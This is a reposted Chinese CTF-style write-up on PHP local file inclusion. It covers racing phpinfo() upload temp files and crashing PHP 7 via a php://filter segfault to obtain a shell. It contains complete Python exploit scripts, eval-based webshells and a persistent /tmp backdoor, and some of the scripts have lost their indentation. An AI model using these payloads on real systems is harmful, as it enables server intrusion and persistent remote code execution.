文件包含&奇技淫巧

栏目: 服务器 · 发布时间: 5年前

内容简介:前言最近遇到一些文件包含的题目,在本篇文章记录两个trick。复现环境还是很容易搭建的:

前言

最近遇到一些文件包含的题目,在本篇文章记录两个trick。

环境背景

复现环境还是很容易搭建的:

例题1(php7)

index.php

<?php
$a = @$_GET['file'];
echo 'include $_GET[\'file\']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>

dir.php

<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

例题2(php5)

index.php

<?php
$a = @$_GET['file'];
echo 'include $_GET[\'file\']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>

phpinfo.php

<?php
phpinfo();
?>

两道题的最终目标都是拿到根目录的flag。

phpinfo+LFI

我们看到例题2:

我们有文件包含,那么我们可以轻易的用伪协议泄露源代码:

file=php://filter/read=convert.base64-encode/resource=index.php

这是老生常谈的问题,无需多讲,重点在于如何去读取根目录的flag。

最容易想到的是利用包含:

http://ip/index.php?file=/flag

但是由于:

if (strpos($a,'flag')!==false) {
die('nonono');
}

我们并不能进行读取,那么很容易想到,尝试getshell。

这里我们可以介绍第一个trick,即利用phpinfo会打印上传缓存文件路径的特性,进行缓存文件包含达到getshell的目的。

我们简单写一个测试脚本:

import requests
from io import BytesIO
files = {
  'file': BytesIO("<?php echo 'sky is cool!';")
}
url = "http://ip/phpinfo.php"
r = requests.post(url=url, files=files, allow_redirects=False)
print r.content

可以看到回显中有如下内容:

_FILES["file"]
Array
(
    [name] => test.txt
    [type] => application/octet-stream
    [tmp_name] => /tmp/phptZQ0xZ
    [error] => 0
    [size] => 26
)

我们只要利用这一特性,进行包含getshell即可。

首先我们利用正则匹配,提取临时文件名:

data = re.search(r"(?<=tmp_name] => ).*", r.content).group(0)

文件包含&奇技淫巧 接下来就是条件竞争的问题:如何在文件临时文件消失前,包含到它。

这里为了事半功倍,我搜集了一些资料和原理:

1.临时文件在phpinfo页面加载完毕后才会被删除。

2.phpinfo页面会将所有数据都打印出来,包括header。

3.php默认的输出缓冲区大小为4096,可以理解为 php 每次返回4096个字节给socket连接。

(来自ph牛: https://github.com/vulhub/vulhub/tree/master/php/inclusion )

那么我们的竞争流程可以总结为:

1.发送包含了webshell的上传数据包给phpinfo页面,同时在header中塞满垃圾数据。

2.因为phpinfo页面会将所有数据都打印出来,垃圾数据会加大phpinfo加载时间。

3.直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包。

4.此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除。

5.利用这个时间差,在第二个数据包进行文件包含漏洞的利用,即可成功包含临时文件,最终getshell。

同时,对于webshell也有讲究,因为包含过程比较麻烦,如果使用一次性一句话木马:

<?php @eval($_REQUEST[sky]);

则每次执行命令,都要进行一次包含,耗时耗力,所以我们选择包含后写入文件的shell:

<?php file_put_contents('/tmp/sky', '<?php @eval($_REQUEST[sky]);?>');?>

这样一旦包含成功,该 shell 就会在tmp目录下永久留下一句话木马文件sky,下次利用直接轻松包含即可。

尝试进行exp编写:

import os
import socket
import sys
def init(host,port):
padding = 'sky'*2000
payload="""sky test!<?php file_put_contents('/tmp/sky', '<?php eval($_REQUEST[sky]);?>');?>\r"""
request1_data ="""------WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Disposition: form-data; name="file"; filename="test.php"\r
Content-Type: text/php\r
\r
%s
------WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Disposition: form-data; name="submit"\r
\r
Submit\r
------WebKitFormBoundary9MWZnWxBey8mbAQ8--\r
""" % payload
request1 = """POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: skypadding="""+padding+"""\r
Cache-Control: max-age=0\r
Upgrade-Insecure-Requests: 1\r
Origin: null\r
Accept: """ + padding + """\r
User-Agent: """+padding+"""\r
Accept-Language: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Length: %s\r
Host: %s:%s\r
\r
%s""" %(len(request1_data),host,port,request1_data)
request2 = """GET /index.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s:%s\r
\r
\r
"""
return (request1,request2)
def getOffset(host,port,request1):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(request1)
    d = ""
    while True:
        i = s.recv(4096)
        d+=i       
        if i == "":
            break
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] => ")
    if i == -1:
        print 'not fonud'
    
    print "found %s at %i" % (d[i:i+10],i)
    return i+256
def phpinfo_LFI(host,port,offset,request1,request2):
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((host,port))
s2.connect((host,port))
s1.send(request1)
d = ""
while len(d) < offset:
d += s1.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i+17:i+31]
s2.send(request2 % (fn,host,port))
tmp = s2.recv(4096)
if tmp.find("sky test!") != -1:
return fn
except ValueError:
    return None
s1.close()
s2.close()
attempts = 1000
host = "ip"
port = "port"
request1,request2 = init(host,port)
offset = getOffset(host,port,request1)
for i in range(1,attempts):
print "try:"+str(i)+"/"+str(attempts)
sys.stdout.flush()
res = phpinfo_LFI(host,port,offset,request1,request2)
if res is not None:
print 'You can getshell with /tmp/sky!'
break

编写还是非常容易的,知道原理后,其实不存在多少条件竞争,最多尝试个10次左右就可以达成目的。

随后我们就可以轻松getshell:

文件包含&奇技淫巧

LFI+php7崩溃

前一题我们能做,得益于phpinfo的存在,但如果没有phpinfo的存在,我们就很难利用上述方法去getshell。

但如果目标不存在phpinfo,应该如何处理呢?

这里可以用php7 segment fault特性。

我们可以利用:

http://ip/index.php?file=php://filter/string.strip_tags=/etc/passwd

这样的方式,使php执行过程中出现Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除:

文件包含&奇技淫巧

这样就能达成我们getshell的目的,脚本相对容易很多:

文件包含&奇技淫巧

加上我们有dir.php

<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

可以进行目录列举,我们只要找到临时文件名即可:

编写exp

import requests
from io import BytesIO
import re
files = {
  'file': BytesIO('<?php eval($_REQUEST[sky]);')
}
url = 'http://ip/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
try:
r = requests.post(url=url, files=files, allow_redirects=False)
except:
url = 'http://ip/dir.php'
r = requests.get(url)
data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)
url = "http://ip/index.php?file=/tmp/"+data
data = {
'sky':"readfile('/flag');"
}
r =  requests.post(url=url,data=data)
print r.content

运行即可看到flag

➜  Desktop python myexp2.py
include $_GET['file']flag{LFI_php7~}

后记

两则trick还是挺有意思的,如果出题不注意很容易进行非预期,同时在日常coding时也得注意这些不起眼的问题,一不留神就会被getshell。


以上所述就是小编给大家介绍的《文件包含&奇技淫巧》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

深入体验Java Web开发内幕

深入体验Java Web开发内幕

张孝祥 / 电子工业出版社 / 2007-12 / 55.00元

《深入体验Java Web开发内幕:高级特性》是《深入体验Java Web开发内幕——核心基础》的姊妹篇,Java Web开发的初学者在阅读《深入体验Java Web开发内幕:高级特性》前,应该先学习《深入体验Java Web开发内幕——核心基础》。《深入体验Java Web开发内幕:高级特性》详细阐述了Java Web应用开发中的各种高级特性——Apache文件上传组件的源码分析及应用和编写原理......一起来看看 《深入体验Java Web开发内幕》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试